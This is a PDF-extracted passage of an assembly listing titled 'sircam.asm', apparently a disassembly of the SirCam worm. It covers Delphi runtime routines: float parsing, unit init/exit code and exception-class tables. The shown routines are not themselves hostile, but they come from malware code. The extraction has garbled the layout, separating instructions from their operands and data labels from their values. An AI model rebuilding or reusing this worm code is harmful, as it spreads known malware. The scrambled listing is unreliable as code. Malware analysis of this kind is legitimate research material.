ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B082: ; CODE XREF: sub_40AFBF+9\030j ; sub_40AFBF+88\030j xor xor mov eax, eax edx, edx [ebx+3], al sircam.asm Fri Aug 10 12:42:44 2001 loc_40B089: sub_40AFBF 304 ; CODE XREF: sub_40AFBF+C1\030j mov mov retn endp [ebx], ax [ebx+2], dl ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push ebp mov ebp, esp sub esp, 6 push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx fstcw word ptr [ebp-6] fclex fldcw ds:word_40A8E6 fldz call sub_40B13B mov bh, [esi] cmp bh, 2Bh jz short loc_40B0BF cmp bh, 2Dh jnz short loc_40B0C0 loc_40B0BF: ; CODE XREF: CODE:0040B0B8\030j inc esi mov call xor mov cmp jnz inc call neg ; CODE XREF: CODE:0040B0BD\030j ecx, esi sub_40B146 edx, edx al, [esi] al, ds:byte_41E4EF short loc_40B0DB esi sub_40B146 edx cmp jz mov and cmp jnz inc push call pop add ecx, esi short loc_40B129 al, [esi] al, 0DFh al, 45h short loc_40B0F1 esi edx sub_40B162 eax edx, eax call cmp jnz mov cmp jnz add ; CODE XREF: CODE:0040B0E5\030j sub_40B13B byte ptr [esi], 0 short loc_40B129 eax, edx bl, 1 short loc_40B105 eax, 4 loc_40B0C0: loc_40B0DB: ; CODE XREF: CODE:0040B0D1\030j loc_40B0F1: loc_40B105: ; CODE XREF: CODE:0040B100\030j call cmp jnz fchs sub_4052BC bh, 2Dh short loc_40B111 sircam.asm Fri Aug 10 12:42:44 2001 305 loc_40B111: ; CODE XREF: CODE:0040B10D\030j cmp bl, 0 jz short loc_40B11A fistp qword ptr [edi] jmp short loc_40B11C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B11A: ; CODE XREF: CODE:0040B114\030j fstp tbyte ptr [edi] loc_40B11C: ; CODE XREF: CODE:0040B118\030j fstsw ax test ax, 9 jnz short loc_40B12B mov al, 1 jmp short loc_40B12D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B129: ; CODE XREF: CODE:0040B0DD\030j ; CODE:0040B0F9\030j fstp st xor eax, eax loc_40B12B: ; CODE XREF: CODE:0040B123\030j loc_40B12D: ; CODE XREF: CODE:0040B127\030j fclex fldcw wait pop pop pop mov pop retn word ptr [ebp-6] ebx esi edi esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40B13B proc near lodsb or jz cmp jz al, al short loc_40B144 al, 20h short sub_40B13B loc_40B144: sub_40B13B ; CODE XREF: CODE:0040B0AE\030p ; CODE:0040B0F1\030p ... ; CODE XREF: sub_40B13B+3\030j dec retn endp esi ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40B146 proc near xor xor loc_40B14A: ; CODE XREF: CODE:0040B0C2\030p ; CODE:0040B0D4\030p eax, eax edx, edx ; CODE XREF: sub_40B146+18\031j lodsb sub add jnb fimul mov fiadd inc al, 3Ah al, 0Ah short loc_40B160 ds:dword_40A8CC [ebp-4], eax dword ptr [ebp-4] edx sircam.asm Fri Aug 10 12:42:44 2001 306 jmp short loc_40B14A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B160: sub_40B146 ; CODE XREF: sub_40B146+9\030j dec retn endp esi ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40B162 proc near ; CODE XREF: CODE:0040B0E9\030p xor eax, eax xor edx, edx mov cl, [esi] cmp cl, 2Bh jz short loc_40B172 cmp cl, 2Dh jnz short loc_40B173 loc_40B172: ; CODE XREF: sub_40B162+9\030j inc esi loc_40B173: ; CODE XREF: sub_40B162+E\030j ; sub_40B162+25\031j mov sub add jnb inc imul add cmp jb al, [esi] al, 3Ah al, 0Ah short loc_40B189 esi edx, 0Ah edx, eax edx, 1F4h short loc_40B173 cmp jnz neg ; CODE XREF: sub_40B162+17\030j cl, 2Dh short locret_40B190 edx loc_40B189: locret_40B190: sub_40B162 ; CODE XREF: sub_40B162+2A\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40B194 proc near ; DATA XREF: CODE:0041A910\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40B2CA push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E5F0 jnz loc_40B2BC mov eax, offset unk_41E5FC call sub_40A5EC call sub_40A440 call sub_409BD8 mov eax, offset off_41C230 mov ecx, 16h mov edx, ds:off_409668 call sub_403BE8 sircam.asm Fri Aug 10 12:42:44 2001 307 mov mov mov call mov call mov mov mov call mov mov mov call mov mov mov call mov mov mov call mov mov mov call mov call mov call mov call mov call mov call mov call mov call mov call mov call eax, offset dword_41C1F8 ecx, 7 edx, ds:off_4095E8 sub_403BE8 eax, offset off_41C124 sub_4034C8 eax, offset unk_41E5B4 ecx, 7 edx, ds:off_401000 sub_403BE8 eax, offset unk_41E58C ecx, 7 edx, ds:off_401000 sub_403BE8 eax, offset unk_41E570 ecx, 7 edx, ds:off_401000 sub_403BE8 eax, offset unk_41E540 ecx, 0Ch edx, ds:off_401000 sub_403BE8 eax, offset unk_41E510 ecx, 0Ch edx, ds:off_401000 sub_403BE8 eax, offset dword_41E50C sub_4034C8 eax, offset dword_41E508 sub_4034C8 eax, offset dword_41E504 sub_4034C8 eax, offset dword_41E500 sub_4034C8 eax, offset dword_41E4F8 sub_4034C8 eax, offset dword_41E4F4 sub_4034C8 eax, offset dword_41E4E8 sub_4034C8 eax, offset unk_41C0D0 sub_4034C8 eax, offset unk_41C0BC sub_4034C8 xor pop pop pop mov push ; CODE XREF: sub_40B194+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40B2D1 loc_40B2BC: locret_40B2C9: ; CODE XREF: sub_40B194+13B\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B2CA: ; DATA XREF: sub_40B194+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40B2C9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B2D1: sub_40B194 ; CODE XREF: sub_40B194+135\030j ; DATA XREF: sub_40B194+130\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 308 align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40B2D4 proc near ; DATA XREF: CODE:0041A90C\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40B33C push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_41E5F0, 1 jnb short loc_40B32E mov eax, offset dword_40A5FC call sub_4032D0 mov eax, offset dword_40A6E8 call sub_4032EC cmp ds:byte_41E4C9, 0 jz short loc_40B31A mov eax, offset off_41C124 mov edx, offset dword_40B350 call sub_40351C loc_40B31A: ; CODE XREF: sub_40B2D4+35\030j call call call call sub_409B0C sub_40A020 sub_409C44 sub_40A460 xor pop pop pop mov push ; CODE XREF: sub_40B2D4+18\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40B343 loc_40B32E: locret_40B33B: ; CODE XREF: sub_40B2D4+6D\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B33C: ; DATA XREF: sub_40B2D4+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40B33B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B343: sub_40B2D4 ; CODE XREF: sub_40B2D4+67\030j ; DATA XREF: sub_40B2D4+62\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 2 dword_40B350 dd 7830h ; DATA XREF: sub_40B2D4+3C\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40B354 proc near push ebp mov ebp, esp xor eax, eax push ebp ; DATA XREF: CODE:0041A8F8\031o sircam.asm Fri Aug 10 12:42:44 2001 push push mov inc xor pop pop pop mov push 309 offset loc_40B379 dword ptr fs:[eax] fs:[eax], esp ds:dword_41E600 eax, eax edx ecx ecx fs:[eax], edx offset loc_40B380 locret_40B378: ; CODE XREF: sub_40B354+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B379: ; DATA XREF: sub_40B354+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40B378 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B380: sub_40B354 ; CODE XREF: sub_40B354+24\030j ; DATA XREF: sub_40B354+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40B384: sub retn ; DATA XREF: CODE:0041A8F4\031o ds:dword_41E600, 1 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40B38C proc near ; DATA XREF: CODE:0041A900\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40B3B1 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E604 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40B3B8 locret_40B3B0: ; CODE XREF: sub_40B38C+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B3B1: ; DATA XREF: sub_40B38C+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40B3B0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B3B8: sub_40B38C ; CODE XREF: sub_40B38C+24\030j ; DATA XREF: sub_40B38C+1F\030o pop ebp retn endp ; sp = -4 sircam.asm Fri Aug 10 12:42:44 2001 310 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40B3BC: ; DATA XREF: CODE:0041A8FC\031o sub ds:dword_41E604, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_40B3C4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB9C\031o dd 0FFA3h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC2C\031o dd 0FFA4h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC38\031o dd 0FFA5h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC54\031o dd 0FFA6h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBB4\031o dd 0FFA7h off_40B3EC dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC6C\031o dd 0FFA8h off_40B3F4 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC24\031o dd 0FFA9h off_40B3FC dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBCC\031o dd 0FFAAh off_40B404 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB94\031o dd 0FFABh off_40B40C dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB90\031o dd 0FFACh off_40B414 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB24\031o dd 0FFADh dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBE8\031o dd 0FFAEh dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB44\031o dd 0FFAFh dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB4C\031o dd 0FF90h off_40B434 dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB28\031o dd 0FF91h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DAF0\031o dd 0FF92h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB60\031o dd 0FF93h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DAD0\031o dd 0FF94h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB70\031o dd 0FF95h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DBB8\031o dd 0FF96h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DC90\031o dd 0FF97h dd offset dword_41E4D4 ; DATA XREF: DATA:0041DB84\031o dd 0FF98h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40B474 proc near ; DATA XREF: CODE:0041A918\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40B499 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E608 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx sircam.asm Fri Aug 10 12:42:44 2001 push 311 offset loc_40B4A0 locret_40B498: ; CODE XREF: sub_40B474+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B499: ; DATA XREF: sub_40B474+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40B498 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B4A0: sub_40B474 ; CODE XREF: sub_40B474+24\030j ; DATA XREF: sub_40B474+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40B4A4: ; DATA XREF: CODE:0041A914\031o sub ds:dword_41E608, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 5 aFalse db ’False’,0 ; DATA XREF: DATA:0041C2E4\031o align 4 dword_40B4BC dd 0FFFFFFFFh, 4, 65757254h, 0, 0FFFFFFFFh, 1 ; DATA XREF: DATA:0041C2E8 \031o dword_40B4D4 dd 2Eh ; DATA XREF: DATA:0041C2EC\031o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40B4D8 proc near ; DATA XREF: CODE:0041A920\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40B51E push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E60C jnz short loc_40B510 mov eax, offset off_41C2EC call sub_4034C8 mov eax, offset off_41C2E4 mov ecx, 2 mov edx, ds:off_401000 call sub_403BE8 loc_40B510: xor pop pop pop mov push ; CODE XREF: sub_40B4D8+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40B525 locret_40B51D: ; CODE XREF: sub_40B4D8+4B\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40B51E: ; DATA XREF: sub_40B4D8+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40B51D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_40B525: sub_40B4D8 312 ; CODE XREF: sub_40B4D8+45\030j ; DATA XREF: sub_40B4D8+40\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40B528: ; DATA XREF: CODE:0041A91C\031o sub ds:dword_41E60C, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_40B530 dd offset dword_40B57C ; DATA XREF: CODE:0040B5B4\031o ; CODE:0040B610\031o ... dd 7 dup(0) dd offset dword_40B57C dd 0Ch dd offset off_4061F4 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_40B57C dd 7453450Ch, 6D616572h, 6F727245h, 408D72h ; DATA XREF: CODE:0040B530 \030o ; CODE:0040B550\030o off_40B58C dd offset dword_40B5D8 ; DATA XREF: sub_40D940+4B\031r dd 7 dup(0) dd offset dword_40B5D8 dd 0Ch dd offset off_40B530 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_40B5D8 dd 4346450Dh, 74616572h, 72724565h, 0C08B726Fh ; DATA XREF: CODE:0040B58C \030o ; CODE:0040B5AC\030o off_40B5E8 dd offset dword_40B634 ; DATA XREF: sub_40D940+84\031r dd 7 dup(0) dd offset dword_40B634 dd 0Ch dd offset off_40B530 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_40B634 dd 4F46450Bh, 456E6570h, 726F7272h ; DATA XREF: CODE:0040B5E8\030o ; CODE:0040B608\030o off_40B640 dd offset dword_40B68C ; DATA XREF: CODE:0040B6C0\031o ; CODE:0040B718\031o dd 7 dup(0) dd offset dword_40B68C dd 0Ch dd offset off_40B530 dd offset loc_402CA0 dd offset nullsub_2 sircam.asm dword_40B68C Fri Aug 10 12:42:44 2001 dd dd dd dd dd dd dd dd dword_40B6E4 off_40B6F0 dword_40B73C off_40B748 dword_40B794 off_40B7A0 dword_40B7EC dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 313 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6946450Bh, 4572656Ch, 726F7272h ; DATA XREF: CODE:0040B640\030o ; CODE:0040B660\030o offset dword_40B6E4 ; DATA XREF: sub_40D884+24\031r ; sub_40DDAC+7\031r ... 7 dup(0) offset dword_40B6E4 0Ch offset off_40B640 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6552450Ah, 72456461h, 90726F72h ; DATA XREF: CODE:0040B698\030o ; CODE:0040B6B8\030o offset dword_40B73C ; DATA XREF: sub_40D8BC+24\031r 7 dup(0) offset dword_40B73C 0Ch offset off_40B640 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 7257450Bh, 45657469h, 726F7272h ; DATA XREF: CODE:0040B6F0\030o ; CODE:0040B710\030o offset dword_40B794 ; DATA XREF: sub_40C180+23\031r 7 dup(0) offset dword_40B794 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 694C450Ah, 72457473h, 90726F72h ; DATA XREF: CODE:0040B748\030o ; CODE:0040B768\030o offset dword_40B7EC ; DATA XREF: sub_40CA0C+23\031r 7 dup(0) offset dword_40B7EC 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 74534510h, 676E6972h, 7473694Ch, 6F727245h, 408D72h ; DATA XREF: CODE:0040B7A0\030o ; CODE:0040B7C0\030o sircam.asm off_40B800 dword_40B84C \030o off_40B85C Fri Aug 10 12:42:44 2001 dd offset dword_40B84C dd dd dd dd dd dd dd dd dd dd dd dd dd dword_40B8A8 dd dd dd dd dd dd dd dd dd dd dd dd dd dd off_40B8BC dd dword_40B918 off_40B920 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dword_40B96C dd dd dd dd dd dd dd dd dd dd dd dd dd off_40B978 dd off_40B908 314 ; DATA XREF: sub_4143D8+25\031r ; sub_41442C+6D\031r 7 dup(0) offset dword_40B84C 10h offset off_4062B8 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset loc_4095DC offset sub_402BCC 754F450Fh, 52664F74h, 756F7365h, 73656372h ; DATA XREF: CODE:0040B800 ; CODE:0040B820\030o offset dword_40B8A8 ; DATA XREF: sub_414244+33\031r 7 dup(0) offset dword_40B8A8 0Ch offset off_4061F4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC 6E494511h, 696C6176h, 65704F64h, 69746172h, 0C08B6E6Fh ; 